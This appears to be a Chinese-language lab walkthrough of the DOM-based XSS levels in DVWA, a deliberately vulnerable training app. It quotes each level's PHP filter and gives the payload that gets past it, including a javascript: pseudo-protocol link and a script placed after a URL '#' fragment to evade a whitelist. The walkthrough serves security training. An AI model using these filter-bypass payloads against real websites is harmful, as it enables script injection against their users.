DOM型XSS是基於DOM文檔對象模型的一種漏洞
通過 HTML DOM,樹中的所有節點均可通過 JavaScript 進行訪問。所有 HTML 元素(節點)均可被修改,也可以創建或刪除節點。(引用W3C)
因為可以在DOM樹中植入js代碼,因此造成了XSS-DOM漏洞,所以DOM類型的XSS可能是反射型也可能是儲存型
Low
<?php # No protections, anything goes ?>
沒有PHP代碼,直接看前端
構造payload
?default=<script>alert('xss')</script
成功執行
Medium
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
stripos函數 找查字符在字符串中第一次出現的位置
如果$default 出現<script,則默認?default=English
我們可以用采用JavaScript偽協議
?default=</option></select><a href="javascript:alert('xss')">test</a>
High
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
switch語句選出了對應的結果(白名單),其他的字符默認為English
payload :
?default=English #<script>alert(/xss/)</script>
因為在URL欄中#之后的字符不會提交到服務器,就實現繞過白名單
Impossible
<?php # Don't need to do anything, protction handled on the client side ?>
不需要做任何事情,在客戶端處理保護
測試輸入 <script>alert('xss')</script>
被解釋URL編碼,從而防止js代碼執行